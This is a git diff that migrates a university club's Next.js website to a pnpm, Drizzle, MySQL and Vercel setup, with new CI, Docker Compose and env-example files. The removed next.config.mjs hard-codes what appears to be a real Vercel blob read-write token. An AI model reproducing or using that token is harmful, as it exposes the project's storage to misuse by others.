diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 0000000..efefae6
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,6 @@
+# ignore everything
+**/**
+
+# specific exceptions
+!.env
+!docker-compose.yaml
\ No newline at end of file
diff --git a/.editorconfig b/.editorconfig
deleted file mode 100644
index d1dc6b3..0000000
--- a/.editorconfig
+++ /dev/null
@@ -1,13 +0,0 @@
-# This EditorConfig file defines a basic common coding style for the project.
-# For more information, see https://editorconfig.org/
-
-root = true
-
-[*]
-charset = utf-8
-indent_style = space
-indent_size = 2
-end_of_line = lf
-insert_final_newline = true
-trim_trailing_whitespace = true
-
diff --git a/.env.example b/.env.example
new file mode 100644
index 0000000..8543e0e
--- /dev/null
+++ b/.env.example
@@ -0,0 +1,50 @@
+# Since the ".env" file is gitignored, you can use the ".env.example" file to
+# build a new ".env" file when you clone the repo. Keep this file up-to-date
+# when you add new variables to `.env`.
+
+# This file will be committed to version control, so make sure not to have any
+# secrets in it. If you are cloning this repo, create a copy of this file named
+# ".env" and populate it with your secrets.
+
+# When adding additional environment variables, the schema in "/src/env.js"
+# should be updated accordingly.
+
+# Base for OAuth Redirect URLs
+BASE_URL="http://localhost:3000"
+
+# Start of DevDogs
+DEVDOGS_EPOCH="2024-07-22"
+
+# Discord
+DISCORD_CLIENT_ID=""
+DISCORD_CLIENT_SECRET=""
+DISCORD_GUILD_ID="1231994798165069987"
+DISCORD_PUBLIC_KEY=""
+DISCORD_TOKEN=""
+
+# GitHub
+GITHUB_CLIENT_ID=""
+GITHUB_CLIENT_SECRET=""
+GITHUB_ORG="DevDogs-UGA"
+GITHUB_TOKEN="ghp_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
+
+# Google
+GOOGLE_CLIENT_ID="000000000000-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.apps.googleusercontent.com"
+GOOGLE_CLIENT_SECRET="aaaaaa-aa-aaaaaaaaaaaaaaaaaaaaaaaaa"
+
+# MySQL
+MYSQL_USER="root"
+MYSQL_PASSWORD="password"
+MYSQL_HOST="localhost"
+MYSQL_PORT="25060"
+MYSQL_DATABASE="devdogs"
+
+# S3
+S3_PORT="4566"
+S3_REGION="us-east-1"
+S3_ACCESS_KEY_ID="test"
+S3_SECRET_ACCESS_KEY="test"
+
+# For Production
+SHARED_AUTH_CLIENT_ID=""
+SHARED_AUTH_CLIENT_SECRET=""
\ No newline at end of file
diff --git a/.firebaserc b/.firebaserc
deleted file mode 100644
index c257b83..0000000
--- a/.firebaserc
+++ /dev/null
@@ -1,5 +0,0 @@
-{
- "projects": {
- "default": "devdogs-uga-website"
- }
-}
diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
deleted file mode 100644
index bfd36a9..0000000
--- a/.git-blame-ignore-revs
+++ /dev/null
@@ -1,2 +0,0 @@
-# Initial automated style pass on entire project
-0a00aad6474676dd9ffaab29d080c13423291846
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6797990..f61b874 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -1,32 +1,44 @@
-name: Continuous Integration
-
-on: [push, pull_request]
-
-concurrency:
- group: ${{ github.workflow }}-${{ github.ref }}
- cancel-in-progress: true
-
-permissions:
- contents: read
+name: CI
+env:
+ VERCEL_ORG_ID: ${{ secrets.VERCEL_TEAM_ID }}
+ VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
+ TURBO_TOKEN: ${{ secrets.VERCEL_TOKEN }}
+ TURBO_TEAM: ${{ secrets.VERCEL_TEAM_ID }}
+ REF: ${{ (github.event_name == 'pull_request' && github.base_ref) || github.ref_name }}
+on:
+ - pull_request_target
+ - push
jobs:
- style:
- name: Code Style
+ Checkstyle-Lint-Build:
runs-on: ubuntu-latest
+ if: ${{ github.repository == 'DevDogs-UGA/Community-Resource-Forum' }}
steps:
- - name: Checkout
- uses: actions/checkout@v4
-
- - name: Set up Node.js
- uses: actions/setup-node@v4
- with:
- node-version-file: "package.json"
-
+ - uses: actions/checkout@v2
+ - uses: ariga/setup-atlas@master
+ - name: Setup pnpm
+ uses: pnpm/action-setup@v4
- name: Install dependencies
- run: npm ci
-
- - name: Check style (ESLint)
- run: npx eslint src/
-
- - name: Check style (Prettier)
- run: npx prettier --check src/
+ run: pnpm install --ignore-scripts
+ - name: Validate Formatting and Linting
+ run: SKIP_ENV_VALIDATION=true pnpm turbo lint prettier typecheck
+ - name: Dry Run Project Deployment (for PRs)
+ if: ${{ github.event_name == 'pull_request' }}
+ run: |
+ SKIP_ENV_VALIDATION=true pnpm turbo build
+ pnpm dlx vercel env pull ${{ env.ENV_CONFIG }} --token=${{ secrets.VERCEL_TOKEN }} .env
+ pnpm dlx dotenv-cli -- sh -c 'atlas schema apply --config file://migrations/atlas.hcl --env remote --dev-url docker://mysql/8/example --url mysql://$MYSQL_USER:$MYSQL_PASSWORD@$MYSQL_HOST:$MYSQL_PORT/$MYSQL_DATABASE --dry-run'
+ env:
+ ENV_CONFIG: ${{ (env.REF == 'main' && '--environment=production') || format('--environment=preview --git-branch={0}', env.REF) }}
+ - name: Deploy Project (for Pushes)
+ if: ${{ github.event_name == 'push' }}
+ run: |
+ pnpm dlx vercel pull ${{ env.ENV_CONFIG }} --yes --git-branch=${{ github.base_ref }} --token=${{ secrets.VERCEL_TOKEN }}
+ pnpm dlx vercel env pull ${{ env.ENV_CONFIG }} --token=${{ secrets.VERCEL_TOKEN }} .env
+ pnpm db:generate
+ pnpm dlx vercel build ${{ env.BUILD_CONFIG }} --token=${{ secrets.VERCEL_TOKEN }}
+ pnpm dlx vercel deploy ${{ env.BUILD_CONFIG }} --prebuilt --token=${{ secrets.VERCEL_TOKEN }}
+ pnpm dlx dotenv-cli -- sh -c 'atlas schema apply --config file://migrations/atlas.hcl --env remote --dev-url docker://mysql/8/example --url mysql://$MYSQL_USER:$MYSQL_PASSWORD@$MYSQL_HOST:$MYSQL_PORT/$MYSQL_DATABASE --auto-approve'
+ env:
+ ENV_CONFIG: ${{ (env.REF == 'main' && '--environment=production') || format('--environment=preview --git-branch={0}', env.REF) }}
+ BUILD_CONFIG: ${{ (env.REF == 'main' && '--prod') || ' ' }}
diff --git a/.github/workflows/nextjs.yml b/.github/workflows/nextjs.yml
deleted file mode 100644
index 9b6f13f..0000000
--- a/.github/workflows/nextjs.yml
+++ /dev/null
@@ -1,100 +0,0 @@
-# Sample workflow for building and deploying a Next.js site to GitHub Pages
-#
-# To get started with Next.js see: https://nextjs.org/docs/getting-started
-#
-name: Deploy Next.js site to Pages
-
-on:
- # Runs on pushes targeting the default branch
- #push:
- # branches: ["main"]
- # paths-ignore:
- # - '.github/**'
- #push:
- # branches: ["main"]
-
- # Allows you to run this workflow manually from the Actions tab
- workflow_dispatch:
-
-# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
-permissions:
- contents: read
- pages: write
- id-token: write
-
-# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
-# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
-concurrency:
- group: "pages"
- cancel-in-progress: false
-
-jobs:
- # Build job
- build:
- runs-on: ubuntu-latest
- steps:
- - name: Checkout
- uses: actions/checkout@v4
- - name: Detect package manager
- id: detect-package-manager
- run: |
- if [ -f "${{ github.workspace }}/yarn.lock" ]; then
- echo "manager=yarn" >> $GITHUB_OUTPUT
- echo "command=install" >> $GITHUB_OUTPUT
- echo "runner=yarn" >> $GITHUB_OUTPUT
- exit 0
- elif [ -f "${{ github.workspace }}/package.json" ]; then
- echo "manager=npm" >> $GITHUB_OUTPUT
- echo "command=ci" >> $GITHUB_OUTPUT
- echo "runner=npx --no-install" >> $GITHUB_OUTPUT
- exit 0
- else
- echo "Unable to determine package manager"
- exit 1
- fi
- - name: Setup Node
- uses: actions/setup-node@v4
- with:
- node-version: "20"
- cache: ${{ steps.detect-package-manager.outputs.manager }}
- - name: Setup Pages
- uses: actions/configure-pages@v5
- with:
- # Automatically inject basePath in your Next.js configuration file and disable
- # server side image optimization (https://nextjs.org/docs/api-reference/next/image#unoptimized).
- #
- # You may remove this line if you want to manage the configuration yourself.
- static_site_generator: next
- - name: Restore cache
- uses: actions/cache@v4
- with:
- path: |
- .next/cache
- # Generate a new cache whenever packages or source files change.
- key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
- # If source files changed but packages didn't, rebuild from a prior cache.
- restore-keys: |
- ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
- - name: Install dependencies
- run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
- - name: Build with Next.js
- run: ${{ steps.detect-package-manager.outputs.runner }} next build
- - name: Upload artifact
- uses: actions/upload-pages-artifact@v3
- with:
- path: ./out
-
- # Deployment job
- deploy:
- environment:
- name: github-pages
- url: ${{ steps.deployment.outputs.page_url }}
- runs-on: ubuntu-latest
- needs: build
- steps:
- - name: Deploy to GitHub Pages
- id: deployment
- uses: actions/deploy-pages@v4
- - name: Setup Node.js environment
- uses: actions/setup-node@v4.0.2
-
diff --git a/.github/workflows/pnpm-build.yml b/.github/workflows/pnpm-build.yml
deleted file mode 100644
index 3a80427..0000000
--- a/.github/workflows/pnpm-build.yml
+++ /dev/null
@@ -1,92 +0,0 @@
-name: Deploy Next.js site to Pages PNPM
-
-on:
- workflow_dispatch:
-
-permissions:
- contents: read
- pages: write
- id-token: write
-
-concurrency:
- group: "pages"
- cancel-in-progress: false
-
-
-jobs:
- build:
- runs-on: ubuntu-latest
-
- steps:
- - name: Checkout
- uses: actions/checkout@v4
-
- - uses: pnpm/action-setup@v4
- name: Install pnpm
- with:
- version: 9
- run_install: false
-
- - name: Install Node.js
- uses: actions/setup-node@v4
- with:
- node-version: "20"
- cache: 'pnpm'
-
- - name: Setup Pages
- uses: actions/configure-pages@v5
- with:
- # Automatically inject basePath in your Next.js configuration file and disable
- # server side image optimization (https://nextjs.org/docs/api-reference/next/image#unoptimized).
- #
- # You may remove this line if you want to manage the configuration yourself.
- static_site_generator: next
-
- - name: Get pnpm store directory
- shell: bash
- run: |
- echo "STORE_PATH=$(pnpm store path --silent)" >> $GITHUB_ENV
-
- - uses: actions/cache@v4
- name: Setup pnpm cache
- with:
- path: ${{ env.STORE_PATH }}
- key: ${{ runner.os }}-pnpm-store-${{ hashFiles('**/pnpm-lock.yaml') }}
- restore-keys: |
- ${{ runner.os }}-pnpm-store-
-
- - name: Install dependencies
- run: pnpm install
-
- - name: Build with Next.js
- run: pnpm next build
- - name: Upload artifact
- uses: actions/upload-pages-artifact@v3
- with:
- path: ./out
-
- #Deployment job
- deploy:
- environment:
- name: github-pages
- url: ${{ steps.deployment.outputs.page_url }}
- runs-on: ubuntu-latest
- needs: build
- steps:
- - name: Deploy to GitHub Pages
- id: deployment
- uses: actions/deploy-pages@v4
- - name: Setup Node.js environment
- uses: actions/setup-node@v4.0.2
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/.gitignore b/.gitignore
index 5377bb7..a44827a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,23 +1,26 @@
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
-
+
# dependencies
/node_modules
/.pnp
.pnp.js
-.yarn/install-state.gz
-
-#firebase
-/.firebase
# testing
/coverage
+# database
+/prisma/db.sqlite
+/prisma/db.sqlite-journal
+db.sqlite
+
# next.js
/.next/
/out/
+next-env.d.ts
# production
/build
+.turbo
# misc
.DS_Store
@@ -27,20 +30,24 @@
npm-debug.log*
yarn-debug.log*
yarn-error.log*
+.pnpm-debug.log*
# local env files
-.env*.local
+# do not commit any .env files to git, except for the .env.example file. https://create.t3.gg/en/usage/env-variables#using-environment-variables
.env
+.env*.local
# vercel
.vercel
# typescript
*.tsbuildinfo
-next-env.d.ts
-# husky
-/.husky/
+# idea files
+.idea
+
+volumes/atlas/ddl.sql
+volumes/s3/*
# eslint
/.eslintcache
diff --git a/.npmrc b/.npmrc
new file mode 100644
index 0000000..463ff0a
--- /dev/null
+++ b/.npmrc
@@ -0,0 +1,2 @@
+public-hoist-pattern[]=*eslint*
+public-hoist-pattern[]=*prettier*
\ No newline at end of file
diff --git a/.prettierrc b/.prettierrc
new file mode 100644
index 0000000..0fb25db
--- /dev/null
+++ b/.prettierrc
@@ -0,0 +1,5 @@
+{
+ "tabWidth": 2,
+ "useTabs": false,
+ "plugins": ["prettier-plugin-tailwindcss"]
+}
diff --git a/.vscode/settings.json b/.vscode/settings.json
index 8c07571..25fa621 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -1,5 +1,3 @@
{
- "githubPullRequests.ignoredPullRequestBranches": [
- "main"
- ]
-}
\ No newline at end of file
+ "typescript.tsdk": "node_modules/typescript/lib"
+}
diff --git a/README.md b/README.md
index 8ac488d..a38521a 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,5 @@
# Notice
+
As of 10/2/24, public development of the DevDogs Website has been discontinued to streamline development efforts and enforce greater quality control. Points awarded from completed contributions will not disappear.
From this point on, only Standing Leaders and vetted members outside of DevDogs' Standing Leadership are permitted to contribute. If this is of interest to you, please reach out to the current Technical Officer.
@@ -10,6 +11,7 @@ We’re excited to have you here! If you’re interested in contributing to our
This project is built using [Next.js](https://nextjs.org/) and was bootstrapped with [`create-next-app`](https://github.com/vercel/next.js/tree/canary/packages/create-next-app).
## Technologies We Use
+
- **Next.js / Node.js**
- **React.js**
- **Custom CSS**
@@ -17,6 +19,7 @@ This project is built using [Next.js](https://nextjs.org/) and was bootstrapped
- **Tailwind CSS**
### Contributor Requirements
+
To contribute to this website, you should have a basic understanding of JavaScript, HTML, CSS, and React.js.
## Getting Started
@@ -50,8 +53,6 @@ We maintain code quality using ESLint and Prettier. Please ensure your code foll
To run the development server on your local machine, navigate to your project folder in the terminal and use one of the following commands:
-
-
```bash
npm run dev
# or
@@ -72,7 +73,6 @@ Here are some resources:
- [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API.
- [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial.
-- [Learn Tailwind CSS]([https://nextjs.org/learn](https://tailwindcss.com/)) - documentation for Tailwind CSS.
+- [Learn Tailwind CSS](<[https://nextjs.org/learn](https://tailwindcss.com/)>) - documentation for Tailwind CSS.
You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js/) - your feedback and contributions are welcome!
-
diff --git a/components.json b/components.json
deleted file mode 100644
index 9a1a0bc..0000000
--- a/components.json
+++ /dev/null
@@ -1,20 +0,0 @@
-{
- "$schema": "https://ui.shadcn.com/schema.json",
- "style": "new-york",
- "rsc": true,
- "tsx": false,
- "tailwind": {
- "config": "tailwind.config.js",
- "css": "src/app/globals.css",
- "baseColor": "neutral",
- "cssVariables": false,
- "prefix": ""
- },
- "aliases": {
- "components": "@/components",
- "utils": "@/lib/utils",
- "ui": "@/components/ui",
- "lib": "@/lib",
- "hooks": "@/hooks"
- }
-}
\ No newline at end of file
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 0000000..7d9282e
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,70 @@
+services:
+ s3:
+ image: localstack/localstack:4.14
+ ports:
+ - "${S3_PORT:-4566}:4566"
+ environment:
+ AWS_REGION: ${S3_REGION:-us-east-1}
+ AWS_ACCESS_KEY_ID: ${S3_ACCESS_KEY_ID:-test}
+ AWS_SECRET_ACCESS_KEY: ${S3_SECRET_ACCESS_KEY:-test}
+ S3_BUCKET_NAME: ${S3_BUCKET_NAME:-devdogs}
+ volumes:
+ - ./volumes/s3/init:/etc/localstack/init/ready.d:ro
+ healthcheck:
+ test:
+ [
+ "CMD",
+ "awslocal",
+ "s3api",
+ "wait",
+ "bucket-exists",
+ "--bucket",
+ "${S3_BUCKET_NAME:-devdogs}",
+ ]
+ interval: 5s
+ timeout: 5s
+ retries: 5
+ restart: on-failure:3
+
+ mysql:
+ image: mysql:8.0
+ ports:
+ - "${MYSQL_PORT:-25060}:3306"
+ environment:
+ MYSQL_ROOT_PASSWORD: ${MYSQL_PASSWORD:-password}
+ MYSQL_DATABASE: ${MYSQL_DATABASE:-devdogs}
+ healthcheck:
+ test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
+ interval: 5s
+ timeout: 5s
+ retries: 5
+ restart: on-failure:3
+
+ mysql-dev:
+ image: mysql:8.0
+ environment:
+ MYSQL_ROOT_PASSWORD: password
+ MYSQL_DATABASE: dev
+ healthcheck:
+ test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
+ interval: 5s
+ timeout: 5s
+ retries: 5
+ restart: on-failure:3
+
+ atlas:
+ image: arigaio/atlas:latest-alpine
+ environment:
+ MYSQL_PASSWORD: ${MYSQL_PASSWORD:-password}
+ MYSQL_DATABASE: ${MYSQL_DATABASE:-devdogs}
+ depends_on:
+ mysql:
+ condition: service_healthy
+ mysql-dev:
+ condition: service_healthy
+ volumes:
+ - ./volumes/atlas/:/migrations:ro
+ command: >
+ schema clean
+ -u "mysql://root:password@mysql-dev:3306/dev"
+ --auto-approve
diff --git a/drizzle.config.ts b/drizzle.config.ts
new file mode 100644
index 0000000..0429bef
--- /dev/null
+++ b/drizzle.config.ts
@@ -0,0 +1,14 @@
+import { type Config } from "drizzle-kit";
+import { env } from "~/env";
+
+export default {
+ schema: "./src/server/db/schema/tables.ts",
+ dialect: "mysql",
+ dbCredentials: {
+ host: env.MYSQL_HOST,
+ user: env.MYSQL_USER,
+ password: env.MYSQL_PASSWORD,
+ port: env.MYSQL_PORT,
+ database: env.MYSQL_DATABASE,
+ },
+} satisfies Config;
diff --git a/eslint.config.js b/eslint.config.js
new file mode 100644
index 0000000..685817e
--- /dev/null
+++ b/eslint.config.js
@@ -0,0 +1,62 @@
+import { FlatCompat } from "@eslint/eslintrc";
+import tseslint from "typescript-eslint";
+// @ts-ignore -- no types for this plugin
+import drizzle from "eslint-plugin-drizzle";
+
+const compat = new FlatCompat({
+ baseDirectory: import.meta.dirname,
+});
+
+export default tseslint.config(
+ {
+ ignores: [".next"],
+ },
+ ...compat.extends("next/core-web-vitals"),
+ {
+ files: ["**/*.ts", "**/*.tsx"],
+ plugins: {
+ drizzle,
+ },
+ extends: [
+ ...tseslint.configs.recommended,
+ ...tseslint.configs.recommendedTypeChecked,
+ ...tseslint.configs.stylisticTypeChecked,
+ ],
+ rules: {
+ "@typescript-eslint/array-type": "off",
+ "@typescript-eslint/consistent-type-definitions": "off",
+ "@typescript-eslint/consistent-type-imports": [
+ "warn",
+ { prefer: "type-imports", fixStyle: "inline-type-imports" },
+ ],
+ "@typescript-eslint/no-unused-vars": [
+ "warn",
+ { argsIgnorePattern: "^_" },
+ ],
+ "@typescript-eslint/require-await": "off",
+ "@typescript-eslint/no-misused-promises": [
+ "error",
+ { checksVoidReturn: { attributes: false } },
+ ],
+ "@typescript-eslint/switch-exhaustiveness-check": "error",
+ "drizzle/enforce-delete-with-where": [
+ "error",
+ { drizzleObjectName: ["db", "ctx.db"] },
+ ],
+ "drizzle/enforce-update-with-where": [
+ "error",
+ { drizzleObjectName: ["db", "ctx.db"] },
+ ],
+ },
+ },
+ {
+ linterOptions: {
+ reportUnusedDisableDirectives: true,
+ },
+ languageOptions: {
+ parserOptions: {
+ projectService: true,
+ },
+ },
+ },
+);
diff --git a/eslint.config.mjs b/eslint.config.mjs
deleted file mode 100644
index a40f9e8..0000000
--- a/eslint.config.mjs
+++ /dev/null
@@ -1,26 +0,0 @@
-import globals from "globals";
-import pluginJs from "@eslint/js";
-import pluginReact from "eslint-plugin-react";
-import pluginPrettier from "eslint-plugin-prettier/recommended";
-import configPrettier from "eslint-config-prettier";
-
-export default [
- { files: ["**/*.{js,mjs,cjs,jsx}"] },
- { languageOptions: { globals: globals.browser } },
- pluginJs.configs.recommended,
- pluginReact.configs.flat.recommended,
- pluginReact.configs.flat["jsx-runtime"],
- pluginPrettier,
- configPrettier,
- {
- settings: {
- react: {
- version: "detect",
- }
- },
- rules: {
- "react/prop-types": 0,
- "no-unused-vars": 0
- }
- },
-];
\ No newline at end of file
diff --git a/firebase.json b/firebase.json
deleted file mode 100644
index 94c4d64..0000000
--- a/firebase.json
+++ /dev/null
@@ -1,13 +0,0 @@
-{
- "hosting": {
- "source": ".",
- "ignore": [
- "firebase.json",
- "**/.*",
- "**/node_modules/**"
- ],
- "frameworksBackend": {
- "region": "us-east1"
- }
- }
-}
diff --git a/graphql.d.ts b/graphql.d.ts
new file mode 100644
index 0000000..9b3baa4
--- /dev/null
+++ b/graphql.d.ts
@@ -0,0 +1,9 @@
+declare module "*.graphql" {
+ const Query: string;
+ export default Query;
+}
+
+declare module "*.gql" {
+ const Query: string;
+ export default Query;
+}
diff --git a/jsconfig.json b/jsconfig.json
deleted file mode 100644
index b8d6842..0000000
--- a/jsconfig.json
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "compilerOptions": {
- "paths": {
- "@/*": ["./src/*"]
- }
- }
-}
diff --git a/next.config.mjs b/next.config.mjs
deleted file mode 100644
index c1579e2..0000000
--- a/next.config.mjs
+++ /dev/null
@@ -1,12 +0,0 @@
-/** @type {import('next').NextConfig} */
-const nextConfig = {
- images: {
- unoptimized: true,
- },
- env: {
- BLOB_READ_WRITE_TOKEN:
- "vercel_blob_rw_HjhQzp22nuhPbeDJ_eMl3uJedcKUw1SCi0X2WNAXUh66sRY",
- },
-};
-
-export default nextConfig;
diff --git a/next.config.ts b/next.config.ts
new file mode 100644
index 0000000..f5d1a24
--- /dev/null
+++ b/next.config.ts
@@ -0,0 +1,42 @@
+/**
+ * Run `build` or `dev` with `SKIP_ENV_VALIDATION` to skip env validation. This is especially useful
+ * for Docker builds.
+ */
+import type { NextConfig } from "next";
+import "./src/env.ts";
+
+const config = {
+ async redirects() {
+ return [
+ {
+ source: "/api/auth/callback/google",
+ destination: "/api/auth",
+ permanent: true,
+ },
+ {
+ source: "/settings",
+ destination: "/settings/profile",
+ permanent: false,
+ },
+ {
+ source: "/figma",
+ destination: "https://www.figma.com/design/kxPCNYIOPq9flyic9EPkf7/Figma-Workshop?node-id=23-57&t=ETWjANYllL07lHyJ-1",
+ permanent: false,
+ }
+ ];
+ },
+ turbopack: {
+ rules: {
+ "*.{graphql,gql}": {
+ loaders: ["raw-loader"],
+ as: "*.js",
+ },
+ },
+ resolveExtensions: [".graphql", ".gql", ".js", ".jsx", ".ts", ".tsx"],
+ },
+ experimental: {
+ authInterrupts: true,
+ },
+} satisfies NextConfig;
+
+export default config;
diff --git a/package-lock.json b/package-lock.json
deleted file mode 100644
index 68f9154..0000000
--- a/package-lock.json
+++ /dev/null
@@ -1,13180 +0,0 @@
-{
- "name": "devdawgssite",
- "version": "0.1.0",
- "lockfileVersion": 3,
- "requires": true,
- "packages": {
- "": {
- "name": "devdawgssite",
- "version": "0.1.0",
- "dependencies": {
- "@chakra-ui/react": "^2.8.2",
- "@heroicons/react": "^2.1.5",
- "@nextui-org/avatar": "^2.0.32",
- "@nextui-org/button": "^2.0.37",
- "@nextui-org/card": "^2.0.33",
- "@nextui-org/listbox": "^2.1.25",
- "@radix-ui/react-alert-dialog": "^1.1.2",
- "@radix-ui/react-avatar": "^1.1.1",
- "@radix-ui/react-dropdown-menu": "^2.1.2",
- "@radix-ui/react-icons": "^1.3.0",
- "@radix-ui/react-label": "^2.1.0",
- "@radix-ui/react-scroll-area": "^1.2.0",
- "@radix-ui/react-separator": "^1.1.0",
- "@radix-ui/react-slot": "^1.1.0",
- "@radix-ui/react-toast": "^1.2.2",
- "@vercel/blob": "^0.25.1",
- "axios": "^1.7.7",
- "bootstrap": "^5.3.3",
- "class-variance-authority": "^0.7.0",
- "clsx": "^2.1.1",
- "embla-carousel-react": "^8.1.8",
- "embla-carousel-wheel-gestures": "^8.0.1",
- "input-otp": "^1.2.4",
- "lucide-react": "^0.452.0",
- "next": "^14.2.5",
- "next-optimized-images": "^2.6.2",
- "prop-types": "^15.8.1",
- "query-string": "^9.1.1",
- "react": "^18.3.1",
- "react-dom": "^18.3.1",
- "react-icons": "^5.3.0",
- "react-responsive": "^10.0.0",
- "react-slick": "^0.30.2",
- "slick-carousel": "^1.8.1",
- "tailwind-merge": "^2.5.3",
- "tailwindcss-animate": "^1.0.7"
- },
- "devDependencies": {
- "@eslint/js": "^9.9.0",
- "autoprefixer": "^10.4.20",
- "eslint": "^9.9.0",
- "eslint-config-prettier": "^9.1.0",
- "eslint-plugin-prettier": "^5.2.1",
- "eslint-plugin-react": "^7.35.0",
- "gh-pages": "^6.1.1",
- "globals": "^15.9.0",
- "husky": "^9.1.4",
- "lint-staged": "^15.2.9",
- "postcss": "^8.4.41",
- "prettier": "^3.3.3",
- "prettier-plugin-tailwindcss": "^0.6.8",
- "tailwindcss": "^3.4.10"
- }
- },
- "node_modules/@alloc/quick-lru": {
- "version": "5.2.0",
- "license": "MIT",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/@ampproject/remapping": {
- "version": "2.3.0",
- "license": "Apache-2.0",
- "peer": true,
- "dependencies": {
- "@jridgewell/gen-mapping": "^0.3.5",
- "@jridgewell/trace-mapping": "^0.3.24"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@babel/code-frame": {
- "version": "7.24.7",
- "license": "MIT",
- "dependencies": {
- "@babel/highlight": "^7.24.7",
- "picocolors": "^1.0.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/compat-data": {
- "version": "7.25.2",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/core": {
- "version": "7.25.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@ampproject/remapping": "^2.2.0",
- "@babel/code-frame": "^7.24.7",
- "@babel/generator": "^7.25.0",
- "@babel/helper-compilation-targets": "^7.25.2",
- "@babel/helper-module-transforms": "^7.25.2",
- "@babel/helpers": "^7.25.0",
- "@babel/parser": "^7.25.0",
- "@babel/template": "^7.25.0",
- "@babel/traverse": "^7.25.2",
- "@babel/types": "^7.25.2",
- "convert-source-map": "^2.0.0",
- "debug": "^4.1.0",
- "gensync": "^1.0.0-beta.2",
- "json5": "^2.2.3",
- "semver": "^6.3.1"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/babel"
- }
- },
- "node_modules/@babel/core/node_modules/convert-source-map": {
- "version": "2.0.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/@babel/core/node_modules/json5": {
- "version": "2.2.3",
- "license": "MIT",
- "peer": true,
- "bin": {
- "json5": "lib/cli.js"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/@babel/generator": {
- "version": "7.25.0",
- "license": "MIT",
- "dependencies": {
- "@babel/types": "^7.25.0",
- "@jridgewell/gen-mapping": "^0.3.5",
- "@jridgewell/trace-mapping": "^0.3.25",
- "jsesc": "^2.5.1"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-annotate-as-pure": {
- "version": "7.24.7",
- "license": "MIT",
- "dependencies": {
- "@babel/types": "^7.24.7"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-compilation-targets": {
- "version": "7.25.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/compat-data": "^7.25.2",
- "@babel/helper-validator-option": "^7.24.8",
- "browserslist": "^4.23.1",
- "lru-cache": "^5.1.1",
- "semver": "^6.3.1"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-compilation-targets/node_modules/lru-cache": {
- "version": "5.1.1",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "yallist": "^3.0.2"
- }
- },
- "node_modules/@babel/helper-create-class-features-plugin": {
- "version": "7.25.0",
- "license": "MIT",
- "dependencies": {
- "@babel/helper-annotate-as-pure": "^7.24.7",
- "@babel/helper-member-expression-to-functions": "^7.24.8",
- "@babel/helper-optimise-call-expression": "^7.24.7",
- "@babel/helper-replace-supers": "^7.25.0",
- "@babel/helper-skip-transparent-expression-wrappers": "^7.24.7",
- "@babel/traverse": "^7.25.0",
- "semver": "^6.3.1"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "peerDependencies": {
- "@babel/core": "^7.0.0"
- }
- },
- "node_modules/@babel/helper-member-expression-to-functions": {
- "version": "7.24.8",
- "license": "MIT",
- "dependencies": {
- "@babel/traverse": "^7.24.8",
- "@babel/types": "^7.24.8"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-module-imports": {
- "version": "7.24.7",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/traverse": "^7.24.7",
- "@babel/types": "^7.24.7"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-module-transforms": {
- "version": "7.25.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/helper-module-imports": "^7.24.7",
- "@babel/helper-simple-access": "^7.24.7",
- "@babel/helper-validator-identifier": "^7.24.7",
- "@babel/traverse": "^7.25.2"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "peerDependencies": {
- "@babel/core": "^7.0.0"
- }
- },
- "node_modules/@babel/helper-optimise-call-expression": {
- "version": "7.24.7",
- "license": "MIT",
- "dependencies": {
- "@babel/types": "^7.24.7"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
